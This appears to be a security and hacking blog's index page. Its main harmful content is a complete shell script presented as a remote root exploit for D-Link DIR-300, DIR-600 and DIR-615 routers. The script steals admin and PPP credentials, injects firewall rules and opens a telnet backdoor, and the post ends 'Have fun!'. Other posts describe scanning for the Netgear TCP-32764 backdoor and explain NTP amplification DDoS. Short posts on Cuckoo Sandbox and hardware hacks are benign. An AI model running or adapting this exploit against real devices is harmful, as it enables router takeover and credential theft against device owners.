Security, Vulnerability

[HOWTO] Searching the internet for the TCP-32764 netgear exploit

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This is a backdoor from last month. You can find it in GitHub.
Here, i’ll describe a quick and dirty way to search the internet for this exploit.

This exploit allows complete control of the affected host. You can download/upload files, get a root shell, PPPoE credentials, admin password, etc.

The idea was originally posted here, however, the post didn’t described how to do it. So, i’ll post a very quick post on how to do it.

DISCLAIMER: educational purposes only. Use at your own risk. I only wrote the minimalist bash script and the how to.

Some more info from the author of the exploit.

Probable source of the backdoor:

Backdoor LISTENING ON THE INTERNET confirmed in :

  • Linksys WAG120N (@p_w999)
  • Netgear DG834B V5.01.14 (@domainzero)
  • Netgear DGN2000 1.1.1, 1.1.11.0, 1.3.10.0, 1.3.11.0, 1.3.12.0 (issue 44)
  • Netgear WPNT834 (issue 79)
  • OpenWAG200 maybe a little bit TOO open ;) (issue 49)

Backdoor confirmed in:

Backdoor may be present in:

Continue reading →

Vulnerability

D-Link DIR-300, DIR-600, DIR-615 (fw 4.0) remote root exploit

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This is a remote root exploit for D-Link wireless routers DIR-300 (all versions), DIR-600 (all versions), DIR-615 (fw 4.0).

Have fun!

#!/bin/sh

if [ -z "$1" ]; then
echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";
echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";
echo "usage: $0 [router address] [telnet port]";
exit 0;
fi;

if [ -z "$2" ]; then
TPORT=3333;
else
TPORT=$2;
fi

UPORT=31337;

echo "Trying $1 ...";

HTTPASSWD=`curl -sS "<a href="http://%241/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd%22" rel="nofollow">http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"</a>; | grep -A1 "&lt;center&gt;" | tail -1 |
sed -e "s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g"`;

if [ ! -z "$HTTPASSWD" ]; then
L=`echo $HTTPASSWD | cut -d' ' -f1`;
P=`echo $HTTPASSWD | cut -d' ' -f2`;

echo "found username: $L";
echo "found password: $P";

curl -d "ACTION_POST=LOGIN&amp;LOGIN_USER=$L&amp;LOGIN_PASSWD=$P" -sS "<a href="http://%241/login.php%22" rel="nofollow">http://$1/login.php"</a>; | grep -v "fail"
1&gt;/dev/null;

if [ $? -eq 0 ]; then
curl -sS
"<a href="http://%241/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/iptables" rel="nofollow">http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/iptables</a> -t nat -A PRE_MISC -i
eth0.2 -p tcp --dport $TPORT -j ACCEPT&amp;set/runtime/syslog/sendmail=1" 1&gt;/dev/null;
curl -sS
"<a href="http://%241/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/iptables" rel="nofollow">http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/iptables</a> -t nat -A PRE_MISC -i
eth0.2 -p tcp --dport $UPORT -j ACCEPT&amp;set/runtime/syslog/sendmail=1" 1&gt;/dev/null;
curl -sS
"<a href="http://%241/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/telnetd" rel="nofollow">http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&amp;exeshell=../../../../usr/sbin/telnetd</a> -p $TPORT -l
/usr/sbin/login -u hacked:me&amp;set/runtime/syslog/sendmail=1" 1&gt;/dev/null;

echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."
curl -sS "<a href="http://%241/logout.php%22" rel="nofollow">http://$1/logout.php"</a>; 1&gt;/dev/null;
fi
fi

CHAP=`curl -sS "<a href="http://%241/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets%22" rel="nofollow">http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets"</a>; | grep -A1 "&lt;center&gt;" | sed -e
"s/&lt;center&gt;//g"`;

if [ ! -z "$CHAP" ]; then
echo "found chap-secrets: $CHAP";
fi

echo "Bye bye.";

exit 0;
Vulnerability

NTP based DDoS attack – understanding NTP reflection

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Behind a reflection attack

A reflection attack works when an attacker can send a packet with a forged source IP address. The attacker sends a packet apparently from the intended victim to some server on the Internet that will reply immediately. Because the source IP address is forged, the remote Internet server replies and sends data to the victim.

That has two effects: the actual source of the attack is hidden and is very hard to trace, and, if many Internet servers are used, an attack can consist of an overwhelming number of packets hitting a victim from all over the world.

But what makes reflection attacks really powerful is when they are also amplified: when a small forged packet elicits a large reply from the server (or servers). In that case, an attacker can send a small packet “from” a forged source IP address and have the server (or servers) send large replies to the victim.

Amplification attacks like that result in an attacker turning a small amount of bandwidth coming from a small number of machines into a massive traffic load hitting a victim from around the Internet. Until recently the most popular protocol for amplification attacks was DNS: a small DNS query looking up the IP address of a domain name would result in a large reply.

NTP DDoS Amplification Attack
NTP DDoS Amplification Attack

For DNS the amplification factor (how much larger a reply is than a request) is 8x. So an attacker can generate an attack 8x larger than the bandwidth they themselves have access to. For example, an attacker controlling 10 machines with 1Gbps could generate an 80Gbps DNS amplification attack.

In the past, we’ve seen one attack that used SNMP for amplification: it has a factor of 650x! Luckily, there are few open SNMP servers on the Internet and SNMP usually requires authentication (although many are poorly secured). That makes SNMP attacks relatively rare.

The new kid on the block today is NTP. Continue reading →

Security

Cuckoo Sandbox – A malware analysis system

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Throw any suspicious file at it and in a matter of seconds Cuckoo will provide you back some detailed results outlining what such file did when executed inside an isolated environment.
Cuckoo is free Open Source software.

 

Cuckoo

 

 

Why does this matter?

Malware is the swiss-army knife of cybercriminals and any other adversary to your corporation or organization.

In these evolving times, detecting and removing malware artifacts is not enough: it’s vitally important to understand how they work and what they would do/did on your systems when deployed and understand the context, the motivations and the goals of a breach.

In this way you are able to more effectively understand the incident, respond to it and protect yourself for the future.

There are infinite other contexts where you might need to deploy a sandbox internally, from analyzing an internal breach to proactively scouting wildly distributed threats, collect actionable data and analyzing the ones actively targeting your infrastructure or products.

In any of these cases you’ll find Cuckoo to be perfectly suitable, incredibly customizable and well… free!

Head over to Cuckoo’s website to learn more: http://cuckoosandbox.org

Hacks

Hacking Aux-IN to a car’s CD player

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I’ve seen this a few times, and it’s a hack worth to share.

Many times, we found ourselves owning a car with a CD player, but no AUX-IN. Who uses CD’s these days, anyway? Noah decided to un-crapify his car audio on a 2001 Ford Focus.

The hack itself is pretty simple. Open up the unit, and you’ll find two separate modules: CD player, and radio/amplifier unit. Both are connected through a flex cable.

Taping the CD Player
Taping the CD Player

Noah was fortunate, since he had taps for each pin, so he didn’t had to solder directly on the plug’s pins. So, he identified ROUT, LOUT and a ground connection, soldered the pins, and he’s ready to go.
Since he tapped on the CD player’s pins, a CD must be inserted in order to trigger the input.
Easy as recording an audio CD without any tunes in int: plain old silence.

Similar hacks:

 

Hacks

Reverse engineering a Hit Clip

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You should read this excellent article on reverse engineering a Hit Clip.

Hit Clips were small cheap digital audio players that could play music off of little plastic cartridges.  The audio was mono, sounded terrible, and only included a 60 second sample of a single song.

Head over here for more: http://ch00ftech.com/2013/12/31/reverse-engineering-a-hit-clip/ .

Thoughts on (in)security, hacking and tech news

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